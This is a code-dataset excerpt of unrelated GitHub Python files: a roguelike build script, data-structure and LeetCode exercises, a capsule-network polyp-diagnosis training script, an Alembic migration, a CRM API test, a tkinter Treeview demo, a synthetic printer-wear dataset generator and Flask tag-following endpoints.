PyInstaller.__main__\n\n\ndef check_types() -> None:\n print(f\"> mypy pitd.py pitd/\")\n results = api.run([\"pitd.py\", \"pitd/\"])\n if results[0]:\n print(\"Type checking results:\")\n print(results[0])\n if results[1]:\n print(\"Error report:\")\n print(results[1])\n\n\ndef check_all() -> None:\n check_types()\n print()\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser(\n prog=\"Rouge\", description=\"A Rogue-like written in pygame-ce\"\n )\n\n parser.add_argument(\"--build\", action=\"store_true\")\n parser.add_argument(\"--check-all\", action=\"store_true\")\n parser.add_argument(\"--check-types\", action=\"store_true\")\n\n args = parser.parse_args()\n\n if args.check_all:\n check_all()\n else:\n if args.check_types:\n check_types()\n\n if args.build:\n PyInstaller.__main__.run([\"pitd.spec\"])\n resources_src = \"resources\"\n resources_dest = os.path.join(\"pitd\", \"resources\")\n shutil.copytree(resources_src, resources_dest)\n","repo_name":"PurityLake/PortalInTheDepths","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71228625067","text":"\nclass Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n\n def __init__(self):\n self.head = None\n\n # Add to front\n def push_front(self, data):\n new_node = Node(data)\n new_node.next = self.head\n self.head = new_node\n\n # Return front item\n def top_front(self):\n if self.head == None:\n raise Exception(\"The head is empty!\")\n return self.head.data\n\n # Remove front item\n def pop_front(self):\n if self.head == None:\n raise Exception(\"The head is empty!\")\n self.head = self.head.next \n\n # Add to back\n def push_back(self, data):\n new_node = Node(data)\n if self.head == None:\n self.head = new_node\n else:\n new_head = self.head\n while new_head.next != None:\n new_head = new_head.next\n new_head.next = new_node \n\n # Return back item\n def top_back(self):\n new_head = self.head\n while new_head.next != None:\n new_head = new_head.next\n return new_head.data \n \n \n\nlinked_list = LinkedList()\nlinked_list.push_front(10)\nlinked_list.push_front(20)\nlinked_list.push_front(30)\n\nassert linked_list.top_front() == 30, \"Top front should be 30\"\n\n# Remove 30 at the beggining\nlinked_list.pop_front()\n\nassert linked_list.top_front() == 20, \"Top front should be 20\"\n\n# Add 40 at the end\nlinked_list.push_back(40)\n\n# Add 50 at the end\nlinked_list.push_back(50)\n\nassert linked_list.top_back() == 50, \"Pop front should be 20\"","repo_name":"felipedss/algorithms","sub_path":"python/linked-list/linked-list.py","file_name":"linked-list.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29417633687","text":"from typing import List\n'''\nGiven an array nums of n integers where n > 1, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i].\n\nExample:\n\nInput: [1,2,3,4]\nOutput: [24,12,8,6]\nNote: Please solve it without division and in O(n).\n\nFollow up:\nCould you solve it with constant space complexity? (The output array does not count as extra space for the purpose of space complexity analysis.)\n'''\n\nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n if not nums or len(nums)==0:\n return []\n ret=[0]*len(nums)\n left,right=1,1\n for i in range(len(nums)):\n ret[i]=left\n left=left*nums[i]\n for i in range(len(nums)-1,-1,-1):\n ret[i]=ret[i]*right\n right=right*nums[i]\n return ret\n\n\nobj=Solution()\nprint(obj.productExceptSelf([1,2,3,4]))","repo_name":"prameya21/python_leetcode","sub_path":"Product_Except_Self.py","file_name":"Product_Except_Self.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11383147545","text":"'''\nDiagnosing Colorectal Polyps in the Wild with Capsule Networks (D-Caps)\nOriginal Paper by Rodney LaLonde, Pujan Kandel, Concetto Spampinato, Michael B. Wallace, and Ulas Bagci\nPaper published at ISBI 2020: arXiv version (https://arxiv.org/abs/2001.03305)\nCode written by: Rodney LaLonde\nIf you use significant portions of this code or the ideas from our paper, please cite it :)\nIf you have any questions, please email me at lalonde@knights.ucf.edu.\n\nThis is the main file for the project. From here you can train, test, and manipulate the D-Caps of models.\nPlease see the README for detailed instructions for this project.\n'''\n\nfrom __future__ import print_function\n\nimport os\nimport argparse\nimport csv\nimport cv2\nfrom time import gmtime, strftime\nfrom glob import glob\ntime = strftime(\"%Y-%m-%d-%H-%M-%S\", gmtime())\n\nfrom load_polyp_data import load_data, split_data_for_flow\nfrom model_helper import create_model\nfrom utils import safe_mkdir\n\ndef main(args):\n # Set the dictionary of possible experiments\n if args.experiment == 0:\n args.exp_name = 'HPvsA'\n elif args.experiment == 1:\n args.exp_name = 'HPvsA_SSA'\n elif args.experiment == 2:\n args.exp_name = 'HPvsSSA'\n else:\n raise Exception('Experiment number undefined.')\n\n # Directory to save images for using flow_from_directory\n args.output_name = 'split-' + str(args.split_num) + '_batch-' + str(args.batch_size) + \\\n '_shuff-' + str(args.shuffle_data) + '_aug-' + str(args.aug_data) + \\\n '_lr-' + str(args.initial_lr) + '_recon-' + str(args.recon_wei) + \\\n '_cpre-' + str(args.use_custom_pretrained) + \\\n '_r1-' + str(args.routings1) + '_r2-' + str(args.routings2)\n args.time = time\n\n args.img_dir = os.path.join(args.root_dir, 'experiment_splits', args.exp_name, 'split_{}'.format(args.split_num))\n safe_mkdir(args.img_dir)\n\n # Create all the output directories\n args.check_dir = os.path.join(args.root_dir, 'saved_models', args.exp_name, args.net)\n safe_mkdir(args.check_dir)\n\n args.log_dir = os.path.join(args.root_dir, 'logs', args.exp_name, args.net)\n safe_mkdir(args.log_dir)\n\n args.img_aug_dir = os.path.join(args.root_dir, 'logs', args.exp_name, args.net, 'aug_imgs')\n safe_mkdir(args.img_aug_dir)\n\n args.tf_log_dir = os.path.join(args.log_dir, 'tf_logs', args.time)\n safe_mkdir(args.tf_log_dir)\n\n args.output_dir = os.path.join(args.root_dir, 'plots', args.exp_name, args.net)\n safe_mkdir(args.output_dir)\n\n # Set net input to (None, None, 3) to allow for variable size color inputs\n net_input_shape = [None, None, 3]\n args.crop_shape = [args.crop_hei, args.crop_wid]\n args.resize_shape = [args.resize_hei, args.resize_wid]\n\n if args.create_images or args.only_create_images:\n # Load the training, validation, and testing data\n train_list, val_list, test_list = load_data(root=args.root_dir, exp_name=args.exp_name, exp=args.experiment,\n split=args.split_num, k_folds=args.k_fold_splits,\n val_split=args.val_split)\n print('Found {} patients for training, {} for validation, and {} for testing. Note: For patients with more '\n 'than one polyp of the same type, all images for the type are placed into either the training or testing '\n 'set together.'.format(len(train_list), len(val_list), len(test_list)))\n\n # Split data for flow_from_directory\n train_samples, train_shape, val_samples, val_shape, test_samples, test_shape = \\\n split_data_for_flow(root=args.root_dir, out_dir=args.img_dir, exp_name=args.exp_name,\n resize_option=args.form_batches, resize_shape=args.resize_shape,\n train_list=train_list, val_list=val_list, test_list=test_list)\n else:\n train_imgs = glob(os.path.join(args.img_dir, 'train', '*', '*.jpg'))\n assert train_imgs, 'No images found. Please set --create_images to 1 to check your --data_root_path.'\n train_shape = list(cv2.imread(train_imgs[0]).shape[:2])\n train_samples = len(train_imgs)\n val_samples = len(glob(os.path.join(args.img_dir, 'val', '*', '*.jpg')))\n test_samples = len(glob(os.path.join(args.img_dir, 'test', '*', '*.jpg')))\n\n if args.only_create_images:\n print('Finished creating images, exiting.')\n exit(0)\n\n if args.resize_shape[0] is not None:\n train_shape[0] = args.resize_shape[0]\n if args.resize_shape[1] is not None:\n train_shape[1] = args.resize_shape[1]\n\n train_shape = val_shape = test_shape = (\n train_shape[0] // (2 ** 6) * (2 ** 6), train_shape[1] // (2 ** 6) * (2 ** 6)) # Assume 6 downsamples\n net_input_shape = (train_shape[0], train_shape[1], net_input_shape[2])\n model_list = create_model(args=args, input_shape=net_input_shape)\n model_list[0].summary()\n\n # Run the chosen functions\n if args.train:\n from train import train\n # Run training\n train(args=args, u_model=model_list[0], train_samples=train_samples, val_samples=val_samples,\n train_shape=train_shape, val_shape=val_shape)\n\n if args.test:\n from test import test\n # Run testing\n test_model = (model_list[1] if args.net.find('caps') != -1 else model_list[0])\n test(args=args, u_model=test_model, val_samples=val_samples, val_shape=val_shape,\n test_samples=test_samples, test_shape=test_shape)\n\n if args.manip and args.net.find('caps') != -1:\n from manip import manip\n # Run manipulation of d-caps\n manip(args, test_list, model_list[2])\n\n if args.pred:\n try:\n with open(os.path.join(args.root_dir, 'split_lists', 'pred_split_' + str(args.split_num) + '.csv'), 'r') as f:\n reader = csv.reader(f)\n pred_list = list(reader)\n from predict import predict\n predict(args, pred_list, model_list, net_input_shape)\n except Exception as e:\n print(e)\n print('Unable to load prediction list inside main.py, skipping Predict.')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Colorectal Polyp Diagnosis')\n parser.add_argument('--data_root_dir', type=str, required=True,\n help='The root directory where your datasets are stored.')\n parser.add_argument('--dataset', type=str, default='Mayo',\n help='The root directory for your data.')\n parser.add_argument('--experiment', type=int, default=0, choices=[0,1,2],\n help='0: HP vs Adenoma, 1: HP vs SSA & Adenoma, 2: HP vs SSA '\n 'Change this in main.py and load_poly_data if you want to run different experiments.')\n parser.add_argument('--create_images', type=int, default=1, choices=[0,1],\n help='Set to 1 to make images.')\n parser.add_argument('--only_create_images', type=int, default=0, choices=[0,1],\n help='Quit after making images.')\n\n parser.add_argument('--net', type=str.lower, default='dcaps',\n choices=['dcaps', 'inceptionv3'],\n help='Choose your network.')\n parser.add_argument('--test_weights_path', type=str, default='',\n help='/path/to/trained_model.hdf5 from root. Set to \"\" for none.')\n parser.add_argument('--use_custom_pretrained', type=int, default=0, choices=[0,1],\n help='Set to 1 to enable using pre-trained weights set in --weights_path arg.')\n\n parser.add_argument('--k_fold_splits', type=int, default=10,\n help='Number of training splits to create for k-fold cross-validation.')\n parser.add_argument('--split_num', type=int, default=0,\n help='Which training split to train/test on.')\n parser.add_argument('--val_split', type=float, default=0.2,\n help='Percentage between 0 and 1 of training split to use as validation.')\n\n parser.add_argument('--train', type=int, default=1, choices=[0,1],\n help='Set to 1 to enable training.')\n parser.add_argument('--test', type=int, default=1, choices=[0,1],\n help='Set to 1 to enable testing.')\n parser.add_argument('--pred', type=int, default=0, choices=[0,1],\n help='Set to 1 to enable prediction.')\n parser.add_argument('--manip', type=int, default=1, choices=[0,1],\n help='Set to 1 to enable manipulation.')\n\n parser.add_argument('--shuffle_data', type=int, default=1, choices=[0,1],\n help='Whether or not to shuffle the training data (both per epoch and in slice order.')\n parser.add_argument('--aug_data', type=int, default=1, choices=[0,1],\n help='Whether or not to use data augmentation during training.')\n\n parser.add_argument('--form_batches', type=str.lower, default='resize_avg',\n choices=['resize_max', 'resize_min', 'resize_std', 'resize_avg', 'crop_min'],\n help='To form batches for mini-batch training, all samples in a batch must be the same size. '\n 'When differences occur choose one of these options... '\n ' resize_max: resize all images to the largest width and height values.'\n ' resize_min: resize all images to the smallest width and height values. '\n ' resize_std: resize all images to a standard size, specify --resize_hei --resize_wid.'\n ' resize_avg: resize all images to the average width and height values.'\n ' crop_min: crop images using random crop function to smallest height and width values.')\n parser.add_argument('--crop_hei', type=int, default=None,\n help=\"Random image crop height for training\")\n parser.add_argument('--crop_wid', type=int, default=None,\n help=\"Random image crop width for training\")\n parser.add_argument('--resize_hei', type=int, default=256,\n help=\"Image resize height for forming equal size batches\")\n parser.add_argument('--resize_wid', type=int, default=320,\n help=\"Image resize width for forming equal size batches\")\n\n parser.add_argument('--batch_size', type=int, default=4,\n help='Batch size for training/testing.')\n parser.add_argument('--epochs', type=int, default=2000,\n help='Number of epochs to train for.')\n parser.add_argument('--initial_lr', type=float, default=0.001,\n help='Initial learning rate for Adam.')\n parser.add_argument('--recon_wei', type=float, default=0.0005,\n help=\"If using dcaps: The coefficient (weighting) for the loss of decoder\")\n parser.add_argument('--k_size', type=int, default=5,\n help='Kernel size for dcaps.')\n parser.add_argument('--output_atoms', type=int, default=16,\n help='Number of output atoms for dcaps.')\n parser.add_argument('--routings1', type=int, default=3,\n help=\"If using dcaps: The number of iterations used in routing algorithm for layers which \"\n \"maintain spatial resolution. should > 0\")\n parser.add_argument('--routings2', type=int, default=3,\n help=\"If using dcaps: The number of iterations used in routing algorithm for layers which \"\n \"change spatial resolution. should > 0\")\n\n parser.add_argument('--verbose', type=int, default=1, choices=[0, 1, 2],\n help='Set the verbose value for training. 0: Silent, 1: per iteration, 2: per epoch.')\n\n parser.add_argument('--save_prefix', type=str, default='',\n help='Prefix to append to saved CSV.')\n\n parser.add_argument('--thresh_level', type=float, default=0.0,\n help='Enter 0.0 for dynamic thresholding, else set value')\n parser.add_argument('--compute_dice', type=int, default=1,\n help='0 or 1')\n parser.add_argument('--compute_jaccard', type=int, default=1,\n help='0 or 1')\n parser.add_argument('--compute_assd', type=int, default=0,\n help='0 or 1')\n\n parser.add_argument('--which_gpus', type=str, default=\"0\",\n help='Enter \"-2\" for CPU only, else input the GPU_ID e.g. 0 or 1 or 2... '\n 'Currently only single GPU training is supported.')\n\n arguments = parser.parse_args()\n\n # Ensure training, testing, and manip are not all turned off\n assert (arguments.train or arguments.test or arguments.manip or arguments.pred), \\\n 'Cannot have train, test, pred, and manip all set to 0, Nothing to do.'\n\n assert not (arguments.use_custom_pretrained and arguments.use_default_pretrained), \\\n 'Cannot use custom pretrained weights and the default pretrained weights at the same time.'\n\n # Set root to the dataset chosen (need trailing slash for annoying os.path.join issue)\n arguments.root_dir = os.path.join(arguments.data_root_dir, arguments.dataset)\n if arguments.root_dir[-1] != '/':\n arguments.root_dir += '/'\n\n # Mask the GPUs for TensorFlow\n if arguments.which_gpus == -2:\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"\"\n else:\n try:\n gpu = int(arguments.which_gpus)\n except:\n raise NotImplementedError('Invalid GPU id given! Must be an interger >= 0.')\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpu)\n\n main(arguments)\n","repo_name":"lalonderodney/D-Caps","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14045,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"31990634895","text":"\"\"\"add dataset table col creator_id\n\nRevision ID: f3fac266c53b\nRevises: 0ad4b34c623d\nCreate Date: 2023-06-12 10:35:42.619302\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f3fac266c53b'\ndown_revision = '0ad4b34c623d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('dataset', sa.Column('creator_id', sa.Integer(), nullable=False))\n op.create_foreign_key(None, 'dataset', 'user', ['creator_id'], ['user_id'], onupdate='CASCADE', ondelete='CASCADE')\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'dataset', type_='foreignkey')\n op.drop_column('dataset', 'creator_id')\n # ### end Alembic commands ###\n","repo_name":"kangmin5133/DeepVisionAlchemy","sub_path":"back/alembic/versions/f3fac266c53b_add_dataset_table_col_creator_id.py","file_name":"f3fac266c53b_add_dataset_table_col_creator_id.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30912143958","text":"import os\nimport unittest\nfrom HTMLTestRunner_cn import HTMLTestRunner\n\nfrom ddt import ddt, data, unpack\n\nfrom framework.UtilsDate import UtilsDate\nfrom framework.UtilsRandom import UtilsRandom\nfrom testCase.student.BaseCase import BaseCase\n\n\n@ddt\nclass TestCrmBusinessFlowWithBluseRose(BaseCase):\n\n # 创建客户\n def createCustomer(self, phpsessid):\n # 随机生成中文名字\n chineseName = UtilsRandom.getChineseName()\n print(\"客户名称\",chineseName)\n customerCode = UtilsDate.getCurrentDate(\"\") + \"_\" + UtilsRandom.getNo(3)\n # 添加客户的URL\n url = self.baseURL + \"m=customer&a=add\"\n # 请求数据\n data = {\"name\": chineseName,\n \"owner_role_id\": \"1\",\n \"owner_name\": \"gavin\",\n \"nextstep_time\": \"\",\n \"customer_code\": customerCode,\n \"customer_status\": \"意向客户\",\n \"industry\": \"\",\n \"address[city]\": \"市辖区\",\n \"address[area]\": \"\",\n \"address[street]\": \"\",\n \"origin\": \"电话营销\",\n \"grade\": \"\",\n \"no_of_employees\": \"\",\n \"description\": \"\",\n \"con_contacts[name]\": \"\",\n \"con_contacts[role]\": \"\",\n \"con_contacts[post]\": \"\",\n \"con_contacts[telephone]\": \"\",\n \"con_contacts[qq_no]\": \"\",\n \"con_contacts[email]\": \"\",\n \"con_contacts[contacts_address][state]\": \"北京市\",\n \"con_contacts[contacts_address][city]\": \"市辖区\",\n \"con_contacts[contacts_address][area]\": \"\",\n \"con_contacts[contacts_address][street]\": \"\",\n \"con_contacts[zip_code]\": \"\",\n \"con_contacts[description]\": \"\"}\n # 请求头\n header = {\"Content-Type\": \"application/x-www-form-urlencoded\", \"Cookie\": \"PHPSESSID=\" + phpsessid}\n # 响应数据\n response = self.requests.sendRequests(url, data=data, headers=header)\n # 断言结果是否正确\n self.assertEqual(response.status_code, 200)\n # 创建商机\n def createBusinessOpportunity(self,phpsessid):\n busniessCode = UtilsDate.getCurrentDate(\"\") + \"-\" + UtilsRandom.getNo(4)\n # 新增商机的URL\n businessName = UtilsRandom.getChineseName()\n url = self.baseURL + \"m=business&a=add\"\n # 请求数据\n data = {\"code\":busniessCode,\n \"owner_role_id\":\"1\",\n \"owner_name\": \"超级管理员\",\n \"name\":businessName,\n \"customer_id\":\"32\",\n \"customer_name\":\"严三新\",\n \"contacts_id\":\"16\",\n \"contacts_name\":\"金襟分\",\n \"status_type_id\":\"1\",\n \"status_id\":\"1\",\n \"possibility\":\"10%\",\n \"submit\":\"保存商机\"}\n # 请求头\n header = {\"Content-Type\": \"application/x-www-form-urlencoded\", \"Cookie\": \"PHPSESSID=\" + phpsessid}\n # 响应数据\n response = self.requests.sendRequests(url, data=data, headers=header)\n # 断言结果是否正确\n self.assertEqual(response.status_code, 200)\n\n # @data(*UtilsFile.get_csv_data(filePath='../../data/userAccount.csv'))\n @data(['19926451606','900e0313b981caa9f83ed5d0a01e9c58'])\n @unpack\n def test_crmBusinessFlow(self, username, password):\n \"\"\"CRM创建客户\"\"\"\n # 刷新PHPSESSID\n loginInfo = self.refreshPhpSessId()\n # 登录\n self.login(loginInfo, username, password)\n # 创建客户\n self.createCustomer(loginInfo)\n # 创建商机\n self.createBusinessOpportunity(loginInfo)\n\n\nif __name__ == \"__main__\":\n report_path = os.path.dirname(__file__) + \"/report/\" + \"TestCrmBusinessFlowWithBluseRose.html\"\n suite = unittest.TestLoader().loadTestsFromTestCase(TestCrmBusinessFlowWithBluseRose)\n runer = HTMLTestRunner(title=\"简信CRM\", description=\"创建客户\", stream=open(report_path, \"wb\"),\n verbosity=2, retry=0, save_last_try=True)\n runer.run(suite)\n","repo_name":"yuxichen2019/AotuTestStudy","sub_path":"python_workspace/interfaceTraining/testCase/crm/TestCrmBusinessFlowWithBluseRose.py","file_name":"TestCrmBusinessFlowWithBluseRose.py","file_ext":"py","file_size_in_byte":4160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19649382888","text":"### File Name: Tkinter ttk Treeview Simple Demo\n### Reference: http://knowpapa.com/ttk-treeview/\n\nfrom tkinter import *\nfrom tkinter import ttk\nimport json \n\nwith open('example.json') as json_file:\n data = json.load(json_file)\n # print(data)\n print(json.dumps(data, indent=4))\n\nfor (k, v) in data[0].items():\n print(\"Key: \" + k)\n print(\"Value: \" + str(v)) \n\nquiz = data[0]\nprint(quiz['quiz']['sport']['q1']['options'])\nprint(type(quiz['quiz']['sport']['q1']['options']))\nroot = Tk()\nroot.title('json2tree')\nroot.geometry('800x800')\n\n\ntree = ttk.Treeview(root, height = 15)\n\ntree[\"columns\"] = (\"one\", \"two\")\ntree.column(\"one\", width=300)\ntree.column(\"two\", width=300)\ntree.heading(\"one\", text=\"column A\")\ntree.heading(\"two\", text=\"column B\")\n\n\n### insert format -> insert(parent, index, iid=None, **kw)\n### reference: https://docs.python.org/3/library/tkinter.ttk.html#tkinter.ttk.Treeview\ntree.insert(\"\", 0, text=\"Line 1\", values=(\"1A\", \"1b\"))\ntree.insert(\"\", \"end\", text=\"sub dir 2\", values=(\"2A\", \"2B\"))\n\n### insert sub-item, method 1\nid2 = tree.insert(\"\", \"end\", \"dir2\", text=\"Dir 2\")\ntree.insert(id2, \"end\", text=\"sub dir 2-1\", values=(\"2A\", \"2B\"))\ntree.insert(id2, \"end\", text=\"sub dir 2-2\", values=(\"2A-2\", \"2B-2\"))\n\n### insert sub-item, method 2\ntree.insert(\"\", \"end\", \"dir3\", text=\"Dir 3\")\ntree.insert(\"dir3\", \"end\", text=\" sub dir 3\", values=(\"3A\", \"3B\"))\n\n### insert quiz\ntree.insert(\"\", \"end\", \"quiz\", text=\"quiz\")\ntree.insert(\"quiz\", \"end\", \"sport\", text=\"sport\")\ntree.insert(\"quiz\", \"end\", \"maths\", text=\"maths\")\n\ntree.insert(\"sport\", \"end\", \"q1\", text=\"q1\")\n\ntree.insert(\"q1\", \"end\", \"question\", text=\"question\")\ntree.insert(\"question\", \"end\", text=\"Which one is correct team name in NBA?\")\n\ntree.insert(\"q1\", \"end\", \"options\", text=\"options\")\ntree.insert(\"options\", \"end\", text=\"New York Bulls\")\ntree.insert(\"options\", \"end\", text=\"Los Angeles Kings\")\ntree.insert(\"options\", \"end\", text=\"Golden State Warriors\")\ntree.insert(\"options\", \"end\", text=\"Huston Rocket\")\n\ntree.insert(\"q1\", \"end\", \"answer\", text=\"answer\")\ntree.insert(\"answer\", \"end\", text=\"Huston Rocket\")\n\n\ntree.pack()\nroot.mainloop()","repo_name":"bokjo/json2tree","sub_path":"simpleTree.py","file_name":"simpleTree.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74599735786","text":"import csv, random, pprint\nfrom datetime import datetime\n\n# remplacement théorique d'une tête d'impression toutes les 1300h d'utilisation (environ 3 mois)\nclass PrintingJobFeatures():\n\n MIN = 50\n\n # printer technical details\n zaxis_speed = 35 # cm/hour\n linear_speed = 300 # mm/sec\n nozzle_size = 1.8 #mm\n\n # job's product dimension\n height = 0\n width = 0\n depth = 0\n layers = 0\n layers_perimeters = []\n linear_perimeter = 0\n average_zaxis_speed = 0\n material_used = 0\n uv_temperature = 0\n average_speed = 0\n elapsed_time = 0\n\n def __init__(self):\n # creation des dimensions du produit (height, width, depth, layers)\n self.product_size()\n # creation de la liste des périmètres des layers\n self.set_linear_perimeter_and_speed()\n self.average_zaxis_speed()\n self.set_material_used()\n self.average_uv_temperature()\n self.create_row()\n\n\n def product_size(self):\n self.height = random.randint(self.MIN,180) # cm\n self.width = random.randint(self.MIN,145) # cm\n self.depth = random.randint(self.MIN,111) # cm\n self.product_layers()\n \n def product_layers(self):\n self.layers = round((self.height*10)/self.nozzle_size)\n\n def set_layers_perimeters(self):\n layers_perimeters = []\n for i in range(0, self.layers):\n layer_perimeter = (random.randint(self.MIN, self.width*10)*2)+(random.randint(self.MIN, self.depth*10)*2)\n layers_perimeters.append(layer_perimeter)\n return layers_perimeters\n\n def set_linear_perimeter_and_speed(self):\n speeds = []\n sum_speed = 0\n layers_perimeters = self.set_layers_perimeters()\n for layer_perimeter in layers_perimeters: \n self.linear_perimeter += layer_perimeter\n speeds.append(round(layer_perimeter/self.linear_speed)) # mm/sec\n self.elapsed_time += round(layer_perimeter/self.linear_speed)\n for speed in speeds:\n sum_speed += speed\n self.average_speed = sum_speed/len(speeds)\n \n def average_zaxis_speed(self):\n self.average_zaxis_speed = round(self.height/self.average_speed)\n \n\n def set_material_used(self):\n gr_per_layer = random.randint(1,2) # gr\n self.material_used = self.layers*gr_per_layer\n\n def average_uv_temperature(self):\n self.uv_temperature = random.randint(70,120) # celsius\n\n def create_row(self):\n row = {}\n row['index'] = 0\n row['elapsed_time'] = self.elapsed_time\n row['uv_temperature'] = self.uv_temperature\n row['material_used'] = self.material_used\n row['linear_speed'] = self.linear_speed\n row['zaxis_speed'] = self.average_zaxis_speed\n row['perimeter'] = self.linear_perimeter\n row['quality'] = 100\n return row\n\n\ndef create_rows():\n dataset_max_size = 5000\n start = 1600779498\n\n total_elapsed_time = 0\n total_browsed_perimeter = 0\n total_material_used = 0\n total_uv_exposed = 0\n\n theorical_time_deprecation = (3000*60*60) # 3000h\n theorical_perimeter_deprecation = 400000\n theorical_material_deprecation = (19*100*1000)\n uv_over_exposed = 1000\n\n rows = []\n keys = []\n coeff_deprecation = 0.97\n\n for i in range(1,dataset_max_size+1):\n row = PrintingJobFeatures().create_row()\n row.update({'index':i})\n\n if i == 1 :\n row['timestamp'] = start\n else :\n row['timestamp'] = start + row['elapsed_time'] + random.randint(3600,7200)\n start = row['timestamp']\n row['datetime'] = datetime.fromtimestamp(row['timestamp'])\n\n\n total_elapsed_time += row['elapsed_time']\n total_browsed_perimeter += row['perimeter']\n total_material_used += row['material_used']\n if row['uv_temperature'] >= 100 :\n total_uv_exposed += 1\n\n if total_elapsed_time >= theorical_time_deprecation or total_browsed_perimeter >= theorical_perimeter_deprecation :\n if total_material_used >= theorical_material_deprecation or total_uv_exposed >= uv_over_exposed :\n print(i, total_elapsed_time, total_browsed_perimeter, total_material_used, total_uv_exposed)\n quality = round(row['quality']*coeff_deprecation) \n row.update({'quality': quality})\n coeff_deprecation -= 0.05\n if quality <= 60 :\n total_elapsed_time = 0\n total_browsed_perimeter = 0\n total_material_used = 0\n total_uv_exposed = 0\n coeff_deprecation = 0.99\n rows.append(row)\n\n if i == dataset_max_size-1 :\n keys = row.keys()\n\n #pprint.pprint(rows)\n return keys, rows\n\n\ndef create_csv(filename, columns, rows):\n # open the file in the write mode\n f = open(filename, 'w', encoding='UTF8', newline='')\n # create the csv writer\n writer = csv.DictWriter(f, fieldnames=columns)\n # write a row to the csv file\n writer.writeheader()\n writer.writerows(rows)\n # close the file\n f.close()\n print('csv file \"%s\" created'% filename)\n\ncolumns, rows = create_rows()\nfilename = 'dataset_printhead_quality.csv'\ncreate_csv(filename=filename,columns=columns, rows=rows)\n","repo_name":"audreyntep/3dprinter_dataset_generator","sub_path":"dataset_printhead_quality.py","file_name":"dataset_printhead_quality.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3949649813","text":"from . import post\nfrom app.models.tag_model import Tags, Tag_user\nfrom flask import request\nfrom flask import jsonify\nfrom app.helper.auth_connector import verify_jwt\nfrom app.helper.auth_connector import Permission\nfrom app.helper.Exception import CustomException\nfrom app import db\nfrom app.helper.Connection import get_connection\nfrom app.helper.auth_connector import ServiceURL\nfrom app.models.post_model import Post\nfrom sqlalchemy import desc, func, text\nfrom app.models.tag_model import Tag_post\n\n\n@post.route('/tags')\ndef get_tag():\n query_tag = request.args.get('query_tag', '')\n page = int(request.args.get('page', 0))\n current_user_id = int(request.args.get('current_user_id', '0'))\n result = db.session.query(Tags, func.count(Tag_post.post_id).label('total_post')).outerjoin(Tag_post) \\\n .filter(Tags.name.like(f'%{query_tag}%')) \\\n .group_by(Tags.tag_id) \\\n .order_by(text('total_post desc')) \\\n .paginate(page=page, per_page=30, error_out=False)\n tag_list = result.items\n return jsonify({\n 'page': page,\n 'total_tags': result.total,\n 'total_pages': result.total // 30 + 1,\n 'tags': list(map(lambda d: d[0].to_json(current_user_id), tag_list))})\n\n\n@post.route('/tags//follow', methods=['POST'])\n@verify_jwt(blueprint=post, permissions=[Permission.WRITE])\ndef follow_tag(user_id, tag_id):\n print(tag_id, user_id)\n tags = Tags.query.filter_by(tag_id=tag_id).first()\n if tags is None:\n raise CustomException('Cannot found tags', 404)\n tags_user = Tag_user.query.filter(Tag_user.tag_id == tag_id, Tag_user.user_id == user_id).first()\n if tags_user is not None:\n print(tags_user)\n raise CustomException('User followed tags', 500)\n try:\n tag_user = Tag_user(user_id=user_id, tag_id=tag_id)\n db.session.add(tag_user)\n db.session.commit()\n return jsonify({'message': 'Success'}), 200\n except:\n db.session.rollback()\n return jsonify({'error': 'Error'}), 500\n\n\n@post.route('/tags//follow', methods=['DELETE'])\n@verify_jwt(blueprint=post, permissions=[Permission.WRITE])\ndef unfollow_tag(user_id, tag_id):\n tag_user = Tag_user.query.filter(Tag_user.tag_id == tag_id, Tag_user.user_id == user_id).first()\n if tag_user is None:\n raise CustomException('Cannot find user_tag', 404)\n try:\n db.session.delete(tag_user)\n db.session.commit()\n return jsonify({'message': 'Success'}), 200\n except:\n db.session.rollback()\n return jsonify({'error': 'Error'}), 500\n\n\n@post.route('/tags//post')\ndef get_post_by_tag(tag_id):\n page = int(request.args.get('page', '0'))\n current_user_id = int(request.args.get('current_user_id', '0'))\n itemPerPage = 20\n tags = Tags.query.filter(Tags.tag_id == tag_id).first()\n num_user = tags.tag_user.count()\n posts = tags.posts \\\n .order_by(Post.date_post.desc()) \\\n .paginate(page, itemPerPage, error_out=False)\n post_paginated = posts.items\n total = posts.total\n num_page = total // itemPerPage + 1\n list = [str(x.author_id) for x in post_paginated]\n str_list = ','.join(set(list))\n with get_connection(post, name='profile') as conn:\n resp = conn.get(ServiceURL.PROFILE_SERVICE + 'list_user_profile?list=' + str_list)\n if resp.status_code != 200:\n raise 